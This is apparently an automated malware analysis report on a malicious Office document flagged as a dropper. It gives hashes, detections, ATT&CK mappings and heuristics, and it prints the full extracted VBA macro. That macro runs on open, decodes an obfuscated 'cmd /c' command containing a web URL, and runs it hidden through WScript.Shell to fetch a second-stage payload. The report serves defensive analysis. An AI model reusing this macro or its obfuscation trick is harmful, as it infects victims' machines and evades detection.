Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c660c3550f98a7c5…

MALICIOUS

Office (OOXML)

12.6 KB First seen: 2021-09-17
MD5: af2213e7d1889e354fc3c6e5b22f2f14 SHA-1: bce5260517408a193f19e946d3eebd2657732b99 SHA-256: c660c3550f98a7c592a5d3d0487c3dbbac45bb031310f4d2c9b667dbf8fd2f05
440 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1140 Deobfuscate or Obfuscate

The sample is an OOXML document containing a heavily obfuscated VBA macro. The macro utilizes `Auto_open`, `WScript.Shell`, `CreateObject`, and `Shell()` calls, indicating an intent to download and execute a second-stage payload. The ClamAV detection 'Doc.Dropper.Onico-6152249-0' further supports its role as a dropper.

Heuristics 8

  • ClamAV: Doc.Dropper.Onico-6152249-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Onico-6152249-0
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2248 bytes
SHA-256: 0fb23aa099b6cde070901677b3eae18b55edeed656d66b6c957369b64e058c64
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "rmemjrdmo"

Public Sub Auto_open()
lh.nxp
fddgd = sdfs

End Sub

Attribute VB_Name = "lh"
Sub nxp()
qbufinkmhvrncvil = nbmnjk(191) & nbmnjk(201) & nbmnjk(192) & nbmnjk(156) & nbmnjk(171) & nbmnjk(223) & nbmnjk(156) & nbmnjk(208) & nbmnjk(218) & nbmnjk(197) & nbmnjk(201) & nbmnjk(218) & nbmnjk(193) & nbmnjk(218) & nbmnjk(203) & nbmnjk(241) & nbmnjk(240) & nbmnjk(156) & nbmnjk(178) & nbmnjk(181) & nbmnjk(156) & nbmnjk(162) & nbmnjk(162) & nbmnjk(156) & nbmnjk(201) & nbmnjk(218) & nbmnjk(207) & nbmnjk(218) & nbmnjk(197) & _
 nbmnjk(225) & nbmnjk(218) & nbmnjk(244) & nbmnjk(218) & nbmnjk(193) & nbmnjk(218) & nbmnjk(223)
qbufinkmhvrncvil = qbufinkmhvrncvil & nbmnjk(156) & nbmnjk(171) & nbmnjk(229) & nbmnjk(156) & nbmnjk(228) & nbmnjk(240) & nbmnjk(240) & nbmnjk(236) & nbmnjk(182) & nbmnjk(171) & nbmnjk(171) & nbmnjk(239) & nbmnjk(235) & nbmnjk(229) & nbmnjk(240) & nbmnjk(221) & nbmnjk(221) & nbmnjk(222) & nbmnjk(170) & nbmnjk(223) & nbmnjk(235) & nbmnjk(171) & nbmnjk(224) & nbmnjk(240) & nbmnjk(239) & nbmnjk(229) & nbmnjk(228) & nbmnjk(246) & nbmnjk(227) & _
 nbmnjk(244) & nbmnjk(223) & nbmnjk(225) & nbmnjk(224) & nbmnjk(233) & nbmnjk(246) & nbmnjk(224) & nbmnjk(225) & nbmnjk(245) & nbmnjk(232) & nbmnjk(236) & nbmnjk(235) & nbmnjk(240) & nbmnjk(236) & nbmnjk(227) & nbmnjk(222) & nbmnjk(232) & nbmnjk(234) & nbmnjk(239) & nbmnjk(244) & nbmnjk(239) & nbmnjk(245) & nbmnjk(233) & nbmnjk(235) & nbmnjk(221) & nbmnjk(238) & nbmnjk(241) & nbmnjk(170) & _
 nbmnjk(233) & nbmnjk(239) & nbmnjk(229) & nbmnjk(156) & nbmnjk(171) & nbmnjk(237) & nbmnjk(234) & nbmnjk(156)

On Error Resume Next
mzrhzksfeiaqdppl = qbufinkmhvrncvil
evdavkn (mzrhzksfeiaqdppl)
End Sub
Function evdavkn(rljteogjxojdhqrepmhivsyorvlzk As String)
byqssxsziomlzmmfqvtobuzgadpefexrnlz = 41 - 41
fgdfg = "gfdfs bbn hdbncvnb f"
wdditmckl = "WSCript.shell"
Set ipflyiwbasfgzkspiouervynmzlejynml = CreateObject(wdditmckl)
bofamoillwotrpqzzqmzmvcjc = ipflyiwbasfgzkspiouervynmzlejynml.Run(rljteogjxojdhqrepmhivsyorvlzk, byqssxsziomlzmmfqvtobuzgadpefexrnlz)
End Function
Function nbmnjk(bnhfg As Variant)
nvcnfg = "hghfj  hgd bgfdetret"
nbmnjk = Chr(bnhfg - 124)
xbcnbvbcv = "bvxcv nbvb vbv bvxc ,zxv vvxcs"
End Function
vbaProject_00.bin vba-project OOXML VBA project: ppt/vbaProject.bin 31744 bytes
SHA-256: 161942efd52e62d72d3989d255f459a02d384041d8950731c48030ec5674fea8
Detection
ClamAV: Doc.Dropper.Onico-6152249-0
Obfuscation or payload: unlikely